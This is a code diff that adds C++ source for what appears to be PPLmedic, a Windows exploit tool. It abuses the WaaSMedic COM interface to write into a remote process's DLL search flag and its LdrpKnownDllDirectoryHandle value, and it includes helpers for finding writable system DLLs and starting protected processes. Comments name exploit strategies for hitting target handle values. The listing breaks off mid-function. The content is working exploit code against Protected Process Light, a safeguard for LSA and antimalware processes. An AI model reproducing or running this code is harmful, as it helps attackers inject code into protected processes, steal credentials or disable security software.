     660 + PIMAGE_NT_HEADERS pNtHeaders = NULL;
     661 + PIMAGE_SECTION_HEADER pSectionHeader;
     662 + DWORD i;
     663 + PBYTE pBuffer = NULL;
     664 + 
     665 + EXIT_ON_ERROR(!(pBuffer = (PBYTE)LocalAlloc(LPTR, dwBufferSize)));
     666 + EXIT_ON_ERROR(!(pNtHeaders = RtlImageNtHeader(Module)));
     667 + 
     668 + for (i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
     669 + {
     670 + pSectionHeader = (PIMAGE_SECTION_HEADER)((PBYTE)pNtHeaders + sizeof(*pNtHeaders) + i * sizeof(*pSectionHeader));
     671 + 
     672 + if (!strcmp((char*)pSectionHeader->Name, SectionName))
     673 + {
     674 + *Address = (ULONG_PTR)((PBYTE)Module + pSectionHeader->VirtualAddress);
     675 + *Size = pSectionHeader->SizeOfRawData;
     676 + bResult = TRUE;
     677 + break;
     678 + }
     679 + }
     680 + 
     681 +cleanup:
     682 + DEBUG(L"NT headers @ 0x%016llx | Address: 0x%016llx | Size: %d | Result: %d", (DWORD64)pNtHeaders, *Address, *Size, bResult);
     683 + 
     684 + Utils::SafeFree((PVOID*)&pBuffer);
     685 + 
     686 + return bResult;
     687 +}
     688 + 
     689 +BOOL Utils::FindModulePattern(IN PBYTE Pattern, IN DWORD PatternLength, IN ULONG_PTR Address, IN DWORD Size, OUT PULONG_PTR PatternAddress)
     690 +{
     691 + BOOL bResult = FALSE;
     692 + ULONG_PTR pModulePointer = NULL, pModuleLimit;
     693 + 
     694 + pModulePointer = Address;
     695 + pModuleLimit = Address + Size - PatternLength;
     696 + 
     697 + do
     698 + {
     699 + if (!memcmp(Pattern, (PVOID)pModulePointer, PatternLength))
     700 + {
     701 + *PatternAddress = pModulePointer;
     702 + bResult = TRUE;
     703 + break;
     704 + }
     705 + 
     706 + pModulePointer++;
     707 + 
     708 + } while ((pModulePointer < pModuleLimit) && !bResult);
     709 + 
     710 + DEBUG(L"Pattern address: 0x%016llx | Result: %d", *PatternAddress, bResult);
     711 + 
     712 + return bResult;
     713 +}
     714 + 
     715 +BOOL Utils::GetWindowsTempDirectory(OUT LPWSTR* Path)
     716 +{
     717 + BOOL bResult = FALSE;
     718 + LPWSTR pwszPath = NULL;
     719 + 
     720 + EXIT_ON_ERROR(!(pwszPath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR))));
     721 + EXIT_ON_ERROR(!GetWindowsDirectoryW(pwszPath, MAX_PATH));
     722 + 
     723 + swprintf_s(pwszPath, MAX_PATH, L"%ws\\Temp", pwszPath);
     724 + 
     725 + *Path = pwszPath;
     726 + bResult = TRUE;
     727 + 
     728 +cleanup:
     729 + if (!bResult) Utils::SafeFree((PVOID*)&pwszPath);
     730 + 
     731 + return bResult;
     732 +}
     733 + 
     734 +BOOL Utils::DeleteDirectory(IN LPWSTR Path)
     735 +{
     736 + BOOL bResult = FALSE, bIsEmpty = TRUE;
     737 + HANDLE hFind = NULL;
     738 + LPWSTR pwszSearchPath = NULL, pwszFullPath = NULL;
     739 + WIN32_FIND_DATAW FindData;
     740 + 
     741 + EXIT_ON_ERROR(!(pwszFullPath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR))));
     742 + EXIT_ON_ERROR(!(pwszSearchPath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR))));
     743 + 
     744 + swprintf_s(pwszSearchPath, MAX_PATH, L"%ws\\*", Path);
     745 + 
     746 + if ((hFind = FindFirstFileW(pwszSearchPath, &FindData)) == INVALID_HANDLE_VALUE)
     747 + {
     748 + if (GetLastError() == ERROR_FILE_NOT_FOUND)
     749 + bResult = TRUE;
     750 + 
     751 + goto cleanup;
     752 + }
     753 + 
     754 + do
     755 + {
     756 + swprintf_s(pwszFullPath, MAX_PATH, L"%ws\\%ws", Path, FindData.cFileName);
     757 + 
     758 + if (FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
     759 + {
     760 + if (!_wcsicmp(FindData.cFileName, L".") || !_wcsicmp(FindData.cFileName, L".."))
     761 + {
     762 + continue;
     763 + }
     764 + 
     765 + if (!Utils::DeleteDirectory(pwszFullPath))
     766 + {
     767 + bIsEmpty = FALSE;
     768 + }
     769 + }
     770 + else
     771 + {
     772 + if (!DeleteFileW(pwszFullPath))
     773 + {
     774 + ERROR(L"Failed to delete file: %ws", pwszFullPath);
     775 + bIsEmpty = FALSE;
     776 + }
     777 + }
     778 + 
     779 + } while (FindNextFileW(hFind, &FindData));
     780 + 
     781 + if (bIsEmpty)
     782 + {
     783 + EXIT_ON_ERROR(!RemoveDirectoryW(Path));
     784 + }
     785 + 
     786 + bResult = TRUE;
     787 + 
     788 +cleanup:
     789 + if (hFind && hFind != INVALID_HANDLE_VALUE) FindClose(hFind);
     790 + Utils::SafeFree((PVOID*)&pwszSearchPath);
     791 + Utils::SafeFree((PVOID*)&pwszFullPath);
     792 + 
     793 + if (!bResult)
     794 + ERROR(L"Failed to delete directory: %ws", Path);
     795 + 
     796 + return bResult;
     797 +}
     798 + 
     799 +BOOL Utils::GetFileVersion(IN LPCWSTR Filename, OUT LPWSTR* FileVersion)
     800 +{
     801 + BOOL bResult = FALSE;
     802 + DWORD dwHandle = 0, dwSize;
     803 + LPVOID pData = NULL, pInfo;
     804 + UINT uiInfoSize;
     805 + LPWSTR pwszFileVersion = NULL;
     806 + 
     807 + EXIT_ON_ERROR(!(pwszFileVersion = (LPWSTR)LocalAlloc(LPTR, 64 * sizeof(WCHAR))));
     808 + EXIT_ON_ERROR((dwSize = GetFileVersionInfoSizeW(Filename, &dwHandle)) == 0);
     809 + EXIT_ON_ERROR(!(pData = LocalAlloc(LPTR, dwSize)));
     810 + 
     811 + dwHandle = 0;
     812 + 
     813 + EXIT_ON_ERROR(!GetFileVersionInfoW(Filename, dwHandle, dwSize, pData));
     814 + EXIT_ON_ERROR(!VerQueryValueW(pData, L"\\", &pInfo, &uiInfoSize));
     815 + EXIT_ON_ERROR(((VS_FIXEDFILEINFO*)pInfo)->dwSignature != 0xfeef04bd);
     816 + 
     817 + swprintf_s(pwszFileVersion, 64, L"%d.%d.%d.%d",
     818 + (((VS_FIXEDFILEINFO*)pInfo)->dwFileVersionMS >> 16) & 0xffff,
     819 + (((VS_FIXEDFILEINFO*)pInfo)->dwFileVersionMS) & 0xffff,
     820 + (((VS_FIXEDFILEINFO*)pInfo)->dwFileVersionLS >> 16) & 0xffff,
     821 + (((VS_FIXEDFILEINFO*)pInfo)->dwFileVersionLS) & 0xffff
     822 + );
     823 + 
     824 + bResult = TRUE;
     825 +
     826 +cleanup:
     827 + Utils::SafeFree((PVOID*)&pData);
     828 + if (!bResult) Utils::SafeFree((PVOID*)&pwszFileVersion);
     829 + 
     830 + return bResult;
     831 +}
     832 + 
     833 +BOOL Utils::FileExists(IN LPCWSTR FilePath)
     834 +{
     835 + return PathFileExistsW(FilePath);
     836 +}
     837 + 
     838 +BOOL Utils::CreateProtectedProcess(IN LPCWSTR ImagePath, IN PS_PROTECTION Protection, OUT LPPROCESS_INFORMATION ProcessInformation)
     839 +{
     840 + BOOL bResult = FALSE;
     841 + NTSTATUS status;
     842 + 
     843 + RTL_USER_PROCESS_INFORMATION pi;
     844 + OBJECT_ATTRIBUTES poa, toa; // Process and Thread object attributes
     845 + PRTL_USER_PROCESS_PARAMETERS pParams = NULL;
     846 + PS_CREATE_INFO ci;
     847 + PS_STD_HANDLE_INFO hi;
     848 + ULONG_PTR attr[offsetof(PS_ATTRIBUTE_LIST, Attributes[5]) / sizeof(ULONG_PTR)];
     849 + PPS_ATTRIBUTE_LIST pAttr = (PPS_ATTRIBUTE_LIST)attr;
     850 + ULONG tflags, pflags;
     851 + 
     852 + LPWSTR pwszCommandLine = NULL;
     853 + UNICODE_STRING ImagePathName, CommandLine, WindowTitle, DesktopInfo;
     854 + UNICODE_STRING ImagePathNameAttr;
     855 + 
     856 + UINT index = 0;
     857 + 
     858 + ZeroMemory(&pi, sizeof(pi));
     859 + ZeroMemory(&ci, sizeof(ci));
     860 + ZeroMemory(&hi, sizeof(hi));
     861 + 
     862 + EXIT_ON_ERROR(!(pwszCommandLine = (LPWSTR)LocalAlloc(LPTR, (wcslen(ImagePath) + 3) * sizeof(WCHAR))));
     863 + 
     864 + swprintf_s(pwszCommandLine, wcslen(ImagePath) + 3, L"\"%ws\"", ImagePath);
     865 + 
     866 + RtlInitUnicodeString(&ImagePathName, ImagePath);
     867 + RtlInitUnicodeString(&CommandLine, pwszCommandLine);
     868 + RtlInitUnicodeString(&WindowTitle, ImagePath);
     869 + RtlInitUnicodeString(&DesktopInfo, L"WinSta0\\Default");
     870 + 
     871 + status = RtlCreateProcessParametersEx(&pParams, &ImagePathName, NULL, NULL, &CommandLine, NULL, &WindowTitle, &DesktopInfo, NULL, NULL, 0x00000001);
     872 + SetLastError(RtlNtStatusToDosError(status));
     873 + 
     874 + EXIT_ON_ERROR(!NT_SUCCESS(status));
     875 + 
     876 + RtlDosPathNameToNtPathName_U(ImagePath, &ImagePathNameAttr, NULL, NULL);
     877 + RtlNormalizeProcessParams(pParams);
     878 + 
     879 + // Image name
     880 + pAttr->Attributes[index].Attribute = PsAttributeImageName | PS_ATTRIBUTE_INPUT;
     881 + pAttr->Attributes[index].Size = ImagePathNameAttr.Length;
     882 + pAttr->Attributes[index].ValuePtr = ImagePathNameAttr.Buffer;
     883 + pAttr->Attributes[index].ReturnLength = NULL;
     884 + index++;
     885 + // Client ID
     886 + pAttr->Attributes[index].Attribute = PsAttributeClientId | PS_ATTRIBUTE_THREAD;
     887 + pAttr->Attributes[index].Size = sizeof(pi.ClientId);
     888 + pAttr->Attributes[index].ValuePtr = &pi.ClientId;
     889 + pAttr->Attributes[index].ReturnLength = NULL;
     890 + index++;
     891 + // Image info
     892 + pAttr->Attributes[index].Attribute = PsAttributeImageInfo;
     893 + pAttr->Attributes[index].Size = sizeof(pi.ImageInformation);
     894 + pAttr->Attributes[index].ValuePtr = &pi.ImageInformation;
     895 + pAttr->Attributes[index].ReturnLength = NULL;
     896 + index++;
     897 + // Standard handles
     898 + pAttr->Attributes[index].Attribute = PsAttributeStdHandleInfo | PS_ATTRIBUTE_INPUT;
     899 + pAttr->Attributes[index].Size = sizeof(hi);
     900 + pAttr->Attributes[index].ValuePtr = &hi;
     901 + pAttr->Attributes[index].ReturnLength = NULL;
     902 + index++;
     903 + // Protection
     904 + pAttr->Attributes[index].Attribute = PsAttributeProtectionLevel | PS_ATTRIBUTE_INPUT | PS_ATTRIBUTE_ADDITIVE;
     905 + pAttr->Attributes[index].Size = sizeof(Protection);
     906 + pAttr->Attributes[index].Value = *(UCHAR*)&Protection;
     907 + pAttr->Attributes[index].ReturnLength = NULL;
     908 + index++;
     909 + 
     910 + pAttr->TotalLength = offsetof(PS_ATTRIBUTE_LIST, Attributes[index]);
     911 + 
     912 + InitializeObjectAttributes(&poa, NULL, 0, NULL, NULL);
     913 + InitializeObjectAttributes(&toa, NULL, 0, NULL, NULL);
     914 + 
     915 + ci.Size = sizeof(ci);
     916 + ci.State = PsCreateInitialState;
     917 + 
     918 + tflags = THREAD_CREATE_FLAGS_CREATE_SUSPENDED;
     919 + pflags = PROCESS_CREATE_FLAGS_PROTECTED_PROCESS;
     920 + 
     921 + status = NtCreateUserProcess(&pi.ProcessHandle, &pi.ThreadHandle, MAXIMUM_ALLOWED, MAXIMUM_ALLOWED, &poa, &toa, pflags, tflags, pParams, &ci, pAttr);
     922 + SetLastError(RtlNtStatusToDosError(status));
     923 + 
     924 + DEBUG(L"NtCreateUserProcess: 0x%08x", status);
     925 + EXIT_ON_ERROR(!NT_SUCCESS(status));
     926 + 
     927 + status = NtResumeThread(pi.ThreadHandle, NULL);
     928 + SetLastError(RtlNtStatusToDosError(status));
     929 + 
     930 + DEBUG(L"NtResumeThread: 0x%08x", status);
     931 + EXIT_ON_ERROR(!NT_SUCCESS(status));
     932 + 
     933 + bResult = TRUE;
     934 + ProcessInformation->hProcess = pi.ProcessHandle;
     935 + ProcessInformation->hThread = &pi.ThreadHandle;
     936 + ProcessInformation->dwProcessId = HandleToULong(pi.ClientId.UniqueProcess);
     937 + ProcessInformation->dwThreadId = HandleToULong(pi.ClientId.UniqueThread);
     938 + 
     939 +cleanup:
     940 + DEBUG(L"Result: %d", bResult);
     941 + 
     942 + if (pwszCommandLine) LocalFree(pwszCommandLine);
     943 + if (pParams) RtlDestroyProcessParameters(pParams);
     944 + 
     945 + return bResult;
     946 +}
     947 + 
     948 +LPCWSTR Utils::GetProcessProtectionLevelAsString(IN DWORD ProtectionLevel)
     949 +{
     950 + switch (ProtectionLevel)
     951 + {
     952 + CASE_STR(PROTECTION_LEVEL_WINTCB_LIGHT);
     953 + CASE_STR(PROTECTION_LEVEL_WINDOWS);
     954 + CASE_STR(PROTECTION_LEVEL_WINDOWS_LIGHT);
     955 + CASE_STR(PROTECTION_LEVEL_ANTIMALWARE_LIGHT);
     956 + CASE_STR(PROTECTION_LEVEL_LSA_LIGHT);
     957 + CASE_STR(PROTECTION_LEVEL_WINTCB);
     958 + CASE_STR(PROTECTION_LEVEL_CODEGEN_LIGHT);
     959 + CASE_STR(PROTECTION_LEVEL_AUTHENTICODE);
     960 + CASE_STR(PROTECTION_LEVEL_PPL_APP);
     961 + CASE_STR(PROTECTION_LEVEL_NONE);
     962 + }
     963 + 
     964 + return L"Unknown";
     965 +}
     966 + 
     967 +LPCWSTR Utils::GetSigningLevelAsString(IN DWORD SigningLevel)
     968 +{
     969 + switch (SigningLevel)
     970 + {
     971 + CASE_STR(SE_SIGNING_LEVEL_UNCHECKED);
     972 + CASE_STR(SE_SIGNING_LEVEL_UNSIGNED);
     973 + CASE_STR(SE_SIGNING_LEVEL_ENTERPRISE);
     974 + CASE_STR(SE_SIGNING_LEVEL_DEVELOPER);
     975 + CASE_STR(SE_SIGNING_LEVEL_AUTHENTICODE);
     976 + CASE_STR(SE_SIGNING_LEVEL_CUSTOM_2);
     977 + CASE_STR(SE_SIGNING_LEVEL_STORE);
     978 + CASE_STR(SE_SIGNING_LEVEL_ANTIMALWARE);
     979 + CASE_STR(SE_SIGNING_LEVEL_MICROSOFT);
     980 + CASE_STR(SE_SIGNING_LEVEL_CUSTOM_4);
     981 + CASE_STR(SE_SIGNING_LEVEL_CUSTOM_5);
     982 + CASE_STR(SE_SIGNING_LEVEL_DYNAMIC_CODEGEN);
     983 + CASE_STR(SE_SIGNING_LEVEL_WINDOWS);
     984 + CASE_STR(SE_SIGNING_LEVEL_CUSTOM_7);
     985 + CASE_STR(SE_SIGNING_LEVEL_WINDOWS_TCB);
     986 + CASE_STR(SE_SIGNING_LEVEL_CUSTOM_6);
     987 + }
     988 + 
     989 + ERROR(L"Failed to retrieve the Signature level associated to the value %d.", SigningLevel);
     990 + 
     991 + return STR_SE_SIGNING_LEVEL_UNKNOWN;
     992 +}
     993 + 
     994 +// https://github.com/winsiderss/systeminformer/blob/master/phlib/hndlinfo.c
     995 +BOOL Utils::EnumObjectTypes(OUT POBJECT_TYPES_INFORMATION* ObjectTypes)
     996 +{
     997 + BOOL bResult = FALSE;
     998 + NTSTATUS status = STATUS_SUCCESS;
     999 + PVOID pBuffer = NULL;
     1000 + DWORD dwBufferSize;
     1001 + DWORD dwReturnLength;
     1002 + 
     1003 + *ObjectTypes = NULL;
     1004 + dwBufferSize = PAGE_SIZE;
     1005 + pBuffer = LocalAlloc(LPTR, dwBufferSize);
     1006 + 
     1007 + while ((status = NtQueryObject(NULL, (OBJECT_INFORMATION_CLASS)ObjectTypesInformation, pBuffer, dwBufferSize, &dwReturnLength)) == STATUS_INFO_LENGTH_MISMATCH)
     1008 + {
     1009 + LocalFree(pBuffer);
     1010 + dwBufferSize *= 2;
     1011 + 
     1012 + if (dwBufferSize > LARGE_BUFFER_SIZE)
     1013 + {
     1014 + status = STATUS_INSUFFICIENT_RESOURCES;
     1015 + goto cleanup;
     1016 + }
     1017 + 
     1018 + pBuffer = LocalAlloc(LPTR, dwBufferSize);
     1019 + }
     1020 + 
     1021 + bResult = TRUE;
     1022 + *ObjectTypes = (POBJECT_TYPES_INFORMATION)pBuffer;
     1023 + 
     1024 +cleanup:
     1025 + if (!bResult && pBuffer) LocalFree(pBuffer);
     1026 + Utils::SetLastErrorFromNtStatus(status);
     1027 + 
     1028 + DEBUG(L"Object types buffer: 0x%p", *ObjectTypes);
     1029 + 
     1030 + return bResult;
     1031 +}
     1032 + 
     1033 +BOOL Utils::GetServiceHandle(IN LPCWSTR ServiceName, IN DWORD DesiredAccess, OUT LPSC_HANDLE ServiceHandle)
     1034 +{
     1035 + BOOL bResult = FALSE;
     1036 + SC_HANDLE hSCM = NULL;
     1037 + 
     1038 + *ServiceHandle = NULL;
     1039 + 
     1040 + EXIT_ON_ERROR(!(hSCM = OpenSCManagerW(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT)));
     1041 + EXIT_ON_ERROR((*ServiceHandle = OpenServiceW(hSCM, ServiceName, DesiredAccess)) == NULL);
     1042 +
     1043 + bResult = TRUE;
     1044 + 
     1045 +cleanup:
     1046 + if (hSCM) CloseServiceHandle(hSCM);
     1047 + 
     1048 + DEBUG(L"Handle for service '%ws': 0x%016llx", ServiceName, (DWORD64)*ServiceHandle);
     1049 + 
     1050 + return bResult;
     1051 +}
     1052 + 
     1053 +BOOL Utils::QueryServiceStatusProcessByHandle(IN SC_HANDLE ServiceHandle, IN OUT LPSERVICE_STATUS_PROCESS ServiceStatus)
     1054 +{
     1055 + BOOL bResult = FALSE;
     1056 + DWORD dwBytesNeeded;
     1057 + 
     1058 + ZeroMemory(ServiceStatus, sizeof(*ServiceStatus));
     1059 + 
     1060 + bResult = QueryServiceStatusEx(ServiceHandle, SC_STATUS_PROCESS_INFO, (LPBYTE)ServiceStatus, sizeof(*ServiceStatus), &dwBytesNeeded);
     1061 + 
     1062 + DEBUG(L"Query service with handle 0x%016llx: %d", (DWORD64)ServiceHandle, bResult);
     1063 + 
     1064 + return bResult;
     1065 +}
     1066 + 
     1067 +BOOL Utils::QueryServiceStatusProcessByName(IN LPCWSTR ServiceName, IN OUT LPSERVICE_STATUS_PROCESS ServiceStatus)
     1068 +{
     1069 + BOOL bResult = FALSE;
     1070 + SC_HANDLE hService = NULL;
     1071 + 
     1072 + EXIT_ON_ERROR(!Utils::GetServiceHandle(ServiceName, SERVICE_QUERY_STATUS, &hService));
     1073 + EXIT_ON_ERROR(!Utils::QueryServiceStatusProcessByHandle(hService, ServiceStatus));
     1074 + 
     1075 + bResult = TRUE;
     1076 + 
     1077 +cleanup:
     1078 + if (hService) CloseServiceHandle(hService);
     1079 + 
     1080 + DEBUG(L"Query service with name '%ws': %d", ServiceName, bResult);
     1081 + 
     1082 + return bResult;
     1083 +}
  • ■ ■ ■ ■ ■ ■
    PPLmedic/Utils.h
     1 +#pragma once
     2 + 
     3 +#include <Windows.h>
     4 +#include <iostream>
     5 +#include <shlwapi.h>
     6 +#include "globaldef.h"
     7 +#include "ntstuff.h"
     8 +#pragma comment(lib, "rpcrt4.lib")
     9 +#pragma comment(lib, "Version.lib")
     10 +#pragma comment(lib, "Shlwapi.lib")
     11 + 
     12 +#define CASE_STR( c ) case c: return STR_##c
     13 + 
     14 +class Utils
     15 +{
     16 +public:
     17 + static VOID PrintLastError();
     18 + static LPWSTR GenerateUuid();
     19 + static BOOL GenerateTempPath(IN OUT LPWSTR Buffer);
     20 + static VOID SafeCloseHandle(IN PHANDLE Handle);
     21 + static VOID SafeFree(IN PVOID* Memory);
     22 + static VOID SafeRelease(IN IUnknown** Interface);
     23 + static VOID SetLastErrorFromNtStatus(IN NTSTATUS Status);
     24 + static BOOL GetProcAddress(IN LPCWSTR Dll, IN LPCSTR ProcName, OUT FARPROC* ProcAddress);
     25 + static BOOL GetTypeIndexByName(IN LPCWSTR TypeName, OUT LPDWORD TypeIndex);
     26 + static BOOL GetServiceProcessId(IN LPCWSTR ServiceName, OUT LPDWORD ProcessId);
     27 + static BOOL GetServiceStatusByHandle(IN SC_HANDLE ServiceHandle, OUT LPDWORD Status);
     28 + static BOOL GetServiceStatusByName(IN LPCWSTR ServiceName, OUT LPDWORD Status);
     29 + static BOOL StartServiceByName(IN LPCWSTR ServiceName, IN BOOL Wait);
     30 + static BOOL StopServiceByName(IN LPCWSTR ServiceName, IN BOOL Wait);
     31 + static BOOL IsServiceRunning(IN LPCWSTR ServiceName);
     32 + static BOOL FindUniqueHandleValueByTypeName(IN DWORD ProcessId, IN LPCWSTR TypeName, OUT PULONG HandleValue);
     33 + static BOOL EnablePrivilege(IN LPCWSTR PrivilegeName);
     34 + static BOOL GetRegistryStringValue(IN HKEY Key, IN LPCWSTR SubKey, IN LPCWSTR ValueName, OUT LPWSTR* ValueData);
     35 + static BOOL SetRegistryStringValue(IN HKEY Key, IN LPCWSTR SubKey, IN LPCWSTR ValueName, IN LPCWSTR ValueData);
     36 + static BOOL GetKnownDllsHandleAddress(OUT PULONG_PTR Address);
     37 + static BOOL GetEmbeddedResource(IN DWORD ResourceId, OUT LPVOID* Buffer, OUT LPDWORD Size);
     38 + static BOOL FindWritableSystemDll(IN DWORD MinSize, OUT LPWSTR* FilePath);
     39 + static BOOL FindModuleSection(IN HMODULE Module, IN LPCSTR SectionName, OUT PULONG_PTR Address, OUT LPDWORD Size);
     40 + static BOOL FindModulePattern(IN PBYTE Pattern, IN DWORD PatternLength, IN ULONG_PTR Address, IN DWORD Size, OUT PULONG_PTR PatternAddress);
     41 + static BOOL GetWindowsTempDirectory(OUT LPWSTR* Path);
     42 + static BOOL DeleteDirectory(IN LPWSTR Path);
     43 + static BOOL GetFileVersion(IN LPCWSTR Filename, OUT LPWSTR* FileVersion);
     44 + static BOOL FileExists(IN LPCWSTR FilePath);
     45 + static BOOL CreateProtectedProcess(IN LPCWSTR ImagePath, IN PS_PROTECTION Protection, OUT LPPROCESS_INFORMATION ProcessInformation);
     46 + static LPCWSTR GetProcessProtectionLevelAsString(IN DWORD ProtectionLevel);
     47 + static LPCWSTR GetSigningLevelAsString(IN DWORD SigningLevel);
     48 + 
     49 +private:
     50 + static BOOL EnumObjectTypes(OUT POBJECT_TYPES_INFORMATION* ObjectTypes);
     51 + static BOOL GetServiceHandle(IN LPCWSTR ServiceName, IN DWORD DesiredAccess, OUT LPSC_HANDLE ServiceHandle);
     52 + static BOOL QueryServiceStatusProcessByHandle(IN SC_HANDLE ServiceHandle, IN OUT LPSERVICE_STATUS_PROCESS ServiceStatus);
     53 + static BOOL QueryServiceStatusProcessByName(IN LPCWSTR ServiceName, IN OUT LPSERVICE_STATUS_PROCESS ServiceStatus);
     54 +};
  • ■ ■ ■ ■ ■ ■
    PPLmedic/WaaSMedicClient.cpp
     1 +#include "WaaSMedicClient.h"
     2 +#include "Utils.h"
     3 +#include "globaldef.h"
     4 + 
     5 +WaaSMedicClient::WaaSMedicClient() : WaaSMedicClient(NULL, 0) { }
     6 + 
     7 +WaaSMedicClient::WaaSMedicClient(ULONG_PTR BaseAddress, ULONG TargetValue)
     8 +{
     9 + _ClientReady = TRUE;
     10 + _BaseAddress = BaseAddress;
     11 + _TargetValue = TargetValue;
     12 + _WaaSRemediationEx = NULL;
     13 + _Timeout = TIMEOUT;
     14 + _DispIdLaunchDetectionOnly = 0;
     15 + _DispIdLaunchRemediationOnly = 0;
     16 + _Application = SysAllocString(L"");
     17 + _Plugins = SysAllocString(L"");
     18 + 
     19 + //
     20 + // If the target handle value is 0x18, 0x38, 0x58 (etc.), we have a higher chance of hitting
     21 + // the right value if we extract the first byte (index 0) of the returned heap address.
     22 + //
     23 + if (this->_TargetValue >= 0x18)
     24 + {
     25 + this->_Strategy = ((this->_TargetValue - 0x18) % 32 == 0) ? ExploitStrategy::ExtractByteAtIndex0 : ExploitStrategy::ExtractByteAtIndex1;
     26 + }
     27 + //
     28 + // Otherwise, extract the second byte (index 1) of the returned heap address.
     29 + //
     30 + else
     31 + {
     32 + this->_Strategy = ExploitStrategy::ExtractByteAtIndex1;
     33 + }
     34 + 
     35 + this->_ComResult = CoInitializeEx(0, COINIT_MULTITHREADED);
     36 + 
     37 + if (this->InitializeInterface())
     38 + {
     39 + if (!this->ResolveDispatchIds())
     40 + {
     41 + this->_ClientReady = FALSE;
     42 + }
     43 + }
     44 + else
     45 + {
     46 + this->_ClientReady = FALSE;
     47 + }
     48 + 
     49 + if (!this->CalculateWriteAddresses())
     50 + this->_ClientReady = FALSE;
     51 + 
     52 + this->_ComResult = CoEnableCallCancellation(NULL);
     53 + 
     54 + DEBUG(L"Strategy: %d | COM result: 0x%08x | Client ready: %d", this->_Strategy, this->_ComResult, this->_ClientReady);
     55 +}
     56 + 
     57 +WaaSMedicClient::~WaaSMedicClient()
     58 +{
     59 + Utils::SafeRelease((IUnknown**)&this->_WaaSRemediationEx);
     60 + this->_ComResult = CoDisableCallCancellation(NULL);
     61 + CoUninitialize();
     62 +}
     63 + 
     64 +BOOL WaaSMedicClient::WriteRemoteDllSearchPathFlag()
     65 +{
     66 + BOOL bResult = FALSE;
     67 + ULONG_PTR pDllSearchPathFlagAddress;
     68 + WRITE_REMOTE_DLL_SEARCH_PATH_FLAG_PARAM WriteParams;
     69 + DWORD dwThreadId, dwThreadExitCode = 0;
     70 + HANDLE hThread = NULL;
     71 +
     72 + EXIT_ON_ERROR(!this->FindCombaseDllSearchFlagAddress(&pDllSearchPathFlagAddress));
     73 + EXIT_ON_ERROR(!_ClientReady);
     74 + 
     75 + ZeroMemory(&WriteParams, sizeof(WriteParams));
     76 + WriteParams.CallerApplicationName = this->_Application;
     77 + WriteParams.Plugins = this->_Plugins;
     78 + WriteParams.DispIdLaunchRemediationOnly = this->_DispIdLaunchRemediationOnly;
     79 + WriteParams.WaaSRemediationEx = this->_WaaSRemediationEx;
     80 + WriteParams.WriteAt = pDllSearchPathFlagAddress - 8;
     81 + 
     82 + EXIT_ON_ERROR((hThread = CreateThread(NULL, 0, WriteRemoteDllSearchPathFlagThread, &WriteParams, 0, &dwThreadId)) == NULL);
     83 + 
     84 + if (WaitForSingleObject(hThread, this->_Timeout) != WAIT_OBJECT_0)
     85 + {
     86 + DEBUG(L"Thread with ID %d is taking too long, cancelling...", dwThreadId);
     87 + this->_ComResult = CoCancelCall(dwThreadId, TIMEOUT);
     88 + SetLastError(ERROR_TIMEOUT);
     89 + goto cleanup;
     90 + }
     91 + 
     92 + EXIT_ON_ERROR(!GetExitCodeThread(hThread, &dwThreadExitCode));
     93 + EXIT_ON_ERROR(dwThreadExitCode != ERROR_SUCCESS);
     94 + 
     95 + bResult = TRUE;
     96 + 
     97 +cleanup:
     98 + DEBUG(L"COM result: 0x%08x | Result: %d", this->_ComResult, bResult);
     99 + 
     100 + Utils::SafeCloseHandle(&hThread);
     101 + 
     102 + if (!bResult)
     103 + ERROR(L"Failed to write DLL search path flag in remote process (thread exit code: 0x%08x).\n", dwThreadExitCode);
     104 + 
     105 + return bResult;
     106 +}
     107 + 
     108 +BOOL WaaSMedicClient::WriteRemoteKnownDllHandle()
     109 +{
     110 + BOOL bResult = FALSE;
     111 + WRITE_REMOTE_KNOWN_DLL_HANDLE_PARAM WriteParams;
     112 + DWORD dwThreadId, dwThreadExitCode = ERROR_SUCCESS;
     113 + HANDLE hThread = NULL;
     114 + 
     115 + EXIT_ON_ERROR(!_ClientReady);
     116 + 
     117 + ZeroMemory(&WriteParams, sizeof(WriteParams));
     118 + WriteParams.CallerApplicationName = this->_Application;
     119 + WriteParams.Plugins = this->_Plugins;
     120 + WriteParams.DispIdLaunchDetectionOnly = this->_DispIdLaunchDetectionOnly;
     121 + WriteParams.DispIdLaunchRemediationOnly = this->_DispIdLaunchRemediationOnly;
     122 + WriteParams.Strategy = this->_Strategy;
     123 + WriteParams.WaaSRemediationEx = this->_WaaSRemediationEx;
     124 + WriteParams.WriteAtLaunchDetectionOnly = this->_WriteAtLaunchDetectionOnly;
     125 + WriteParams.WriteAtLaunchRemediationOnly = this->_WriteAtLaunchRemediationOnly;
     126 + 
     127 + EXIT_ON_ERROR((hThread = CreateThread(NULL, 0, WriteRemoteKnownDllHandleThread, &WriteParams, 0, &dwThreadId)) == NULL);
     128 + 
     129 + if (WaitForSingleObject(hThread, this->_Timeout) != WAIT_OBJECT_0)
     130 + {
     131 + DEBUG(L"Thread with ID %d is taking too long, cancelling...", dwThreadId);
     132 + this->_ComResult = CoCancelCall(dwThreadId, TIMEOUT);
     133 + SetLastError(ERROR_TIMEOUT);
     134 + goto cleanup;
     135 + }
     136 + 
     137 + EXIT_ON_ERROR(!GetExitCodeThread(hThread, &dwThreadExitCode));
     138 + EXIT_ON_ERROR(dwThreadExitCode != ERROR_SUCCESS);
     139 + 
     140 + bResult = TRUE;
     141 + 
     142 +cleanup:
     143 + //DEBUG(L"COM result: 0x%08x | Result: %d", this->_ComResult, bResult);
     144 + Utils::SafeCloseHandle(&hThread);
     145 + 
     146 + if (!bResult)
     147 + ERROR(L"Failed to write LdrpKnownDllDirectoryHandle value (thread exit code: 0x%08x).", dwThreadExitCode);
     148 +
     149 + return bResult;
     150 +}
     151 + 
     152 +BOOL WaaSMedicClient::CreateTaskHandlerInstance()
     153 +{
     154 + BOOL bResult = FALSE;
     155 + HANDLE hThread = NULL;
     156 + DWORD dwThreadId;
     157 +
     158 + EXIT_ON_ERROR((hThread = CreateThread(NULL, 0, CreateTaskHandlerInstanceThread, NULL, 0, &dwThreadId)) == NULL);
     159 + 
     160 + if (WaitForSingleObject(hThread, this->_Timeout) != WAIT_OBJECT_0)
     161 + {
     162 + DEBUG(L"Thread with ID %d is taking too long, cancelling...", dwThreadId);
